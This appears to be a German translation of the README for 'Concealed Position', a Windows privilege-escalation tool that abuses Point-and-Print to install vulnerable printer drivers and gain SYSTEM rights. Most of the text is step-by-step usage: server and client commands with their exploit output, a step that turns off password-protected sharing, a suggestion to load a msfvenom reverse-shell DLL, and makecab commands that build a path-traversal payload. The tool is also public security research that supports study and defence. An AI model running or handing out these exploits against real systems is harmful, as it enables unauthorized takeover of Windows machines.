
Tool zur Privilegieneskalation durch einen eigenen Druckertreiber
Concealed Position ist ein lokaler Privilegienausweitungsangriff gegen Windows, der das Konzept "Bring Your Own Vulnerability" nutzt. Genauer gesagt verwendet Concealed Position (CP) die wie vorgesehene Point-and-Print-Logik in Windows, die es einem Benutzer mit niedrigen Privilegien erlaubt, Druckertreiber bereitzustellen und zu installieren. CP installiert gezielt Treiber mit bekannten Schwachstellen, die dann ausgenutzt werden, um zu SYSTEM zu eskalieren. Concealed Position wurde erstmals auf der DEF CON 29 vorgestellt.
Concealed Position bietet vier Exploits – alle mit gleichermaßen bescheuerten Namen:
Die Exploits sind praktisch, weil sie – mit Ausnahme von SLASHINGDAMAGE – auch nach dem Patchen der Probleme weiterhin funktionieren. Der einzige Mechanismus, den Windows hat, um Benutzer an der Verwendung alter Treiber zu hindern, ist der Widerruf des Treiberzertifikats – etwas, das historisch gesehen nicht (?) gemacht wird.
Wahrscheinlich ACIDDAMAGE. RADIANTDAMAGE und POISONDAMAGE sind Race Conditions (zum Überschreiben einer DLL) und SLASHINGDAMAGE ist hoffentlich fast überall gepatcht.
Concealed Position besteht aus zwei Teilen. Einem bösartigen Drucker und einem Client. Der Client kontaktiert den Server, holt sich einen Treiber, lässt den Treiber im Treiberspeicher ablegen, installiert den Drucker und nutzt den Installationsprozess aus. Einfach! In der MSAPI-Sprache sieht der Angriff ungefähr so aus:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
Es ist wichtig zu beachten, dass SLASHINGDAMAGE eigentlich nicht so funktioniert. SLASHINGDAMAGE ist eine Implementierung des auf der DEFCON 28 (2020) beschriebenen bösartigen Druckerangriffs und wurde schon vor langer Zeit gepatcht. Ich mag den Angriff einfach (er hat die gesamte weitere Entwicklung ausgelöst) und dachte, ich lasse den Exploit in meinem bösartigen Server – so verwirrend das auch sein mag.
Man kann sagen, ja. Der Treiberspeicher ist eine "vertrauenswürdige Sammlung von ... Drittanbieter-Treiberpaketen", die Administratorzugriff zum Ändern erfordert. Mit GetPrinterDriver kann ein Angreifer mit niedrigen Privilegien beliebige Treiber in den Speicher einstufen. Das überschreitet für mich eine klare Sicherheitsgrenze.
Microsoft schien dem zuzustimmen, als sie CVE-2021-34481 herausgaben.
Obwohl... es ist diskutierbar, dass dies einfach eine Funktion des Systems und überhaupt keine Sicherheitslücke ist. Das spielt letztlich keine so große Rolle. Ein Angreifer kann auf Standard-Windows-Installationen zu SYSTEM eskalieren.
Mindestens Windows 8.1 und höher.
Einfach! So einfach, dass es viele Absätze zur Beschreibung geben wird!
Schauen wir uns zuerst die Befehlszeilenoptionen von cp_server an:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Oben sehen Sie, dass der Server zwei Optionen benötigt:
Angenommen, wir möchten einen bösartigen Drucker konfigurieren, der den ACIDDAMAGE-Treiber bereitstellt. Einfach so:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Und das war's, Sie sehen einen neuen Drucker auf Ihrem System:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Beachten Sie, dass es einen manuellen Schritt gibt, den cp_server von Ihnen verlangt. Da ich ein miserabler Hacker bin, habe ich nicht herausgefunden, wie man programmatisch die 'Erweiterten Freigabeeinstellungen' -> 'Kennwortgeschütztes Freigeben deaktivieren' setzen kann. Das müssen Sie selbst erledigen!
Der Prozess zur Verwendung von SLASHINGDAMAGE ist etwas anders. Sie müssen zuerst CutePDF Writer installieren (die Installationsprogramme finden Sie im Verzeichnis '3rd party'). Führen Sie dann cp_server aus und dann müssen Sie noch ein paar manuelle Schritte ausführen und neu starten.
Der Client ist ähnlich einfach zu bedienen. Schauen wir uns seine Befehlszeilenoptionen an:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
Zunächst möchte ich auf die Option --dll eingehen. Der Client hat eine eingebettete Nutzlast, die einfach die Datei C:\result.txt schreibt. Benutzer können jedoch über diese Option ihre eigene DLL bereitstellen. Ein gutes Beispiel für etwas, das Sie verwenden möchten, ist eine x64-Reverse-Shell, die von msfvenom erstellt wurde. Aber für den Rest gehen wir einfach von der eingebetteten Nutzlast aus.
cp_client hat zwei Modi: remote und local. Die Remote-Option ist die interessanteste, da sie den verwundbaren Treiber zum Treiberspeicher hinzufügt (und damit die 'Bring Your Own Print Driver'-Sicherheitslücke ausführt). Wir gehen also zuerst darauf ein. Angenommen, ich möchte mich mit dem zuvor konfigurierten bösartigen ACIDDAMAGE-Drucker verbinden. Ich muss nur angeben:
So!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
Das war's! Um einen rein lokalen Angriff auszuführen, müssen Sie nur den Exploit angeben:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE benötigt keinen speziellen Client für die Ausnutzung. Sie können einfach die Benutzeroberfläche oder die Befehlszeile verwenden, um eine Verbindung zum entfernten Drucker herzustellen, und das war's! Leider müssen Sie, wenn Sie eine benutzerdefinierte Nutzlast erstellen möchten, die CAB-Datei im cab_files-Verzeichnis aktualisieren. Aber das ist einfach. Ungefähr so:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
Es ist wahrscheinlich wichtig zu wissen, dass die Version von SLASHINGDAMAGE im Repo ualapi.dll in SYSTEM32 ablegt und bei Ausführung nach einem Neustart die Datei C:\result.txt ablegt.
Möchten Sie einen Pull-Request einreichen oder einen Fehler melden? Großartig! Ich schätze das, aber wenn Sie nicht genügend Details zur Reproduktion eines Fehlers angeben oder erklären, warum ein Pull-Request angenommen werden sollte, dann schließe ich Ihr Issue mit 100%iger Wahrscheinlichkeit ohne Kommentar. Ich schätze Sie, aber ich bin auch ziemlich beschäftigt.
Eine Sache, die zu beachten ist: Die inject_me.dll ist tatsächlich als C-Array in den cp_client eingebettet. Wenn Sie inject_me aktualisieren, müssen Sie auch das C-Array manuell aktualisieren (verwenden Sie einfach xxd, um das Array zu generieren).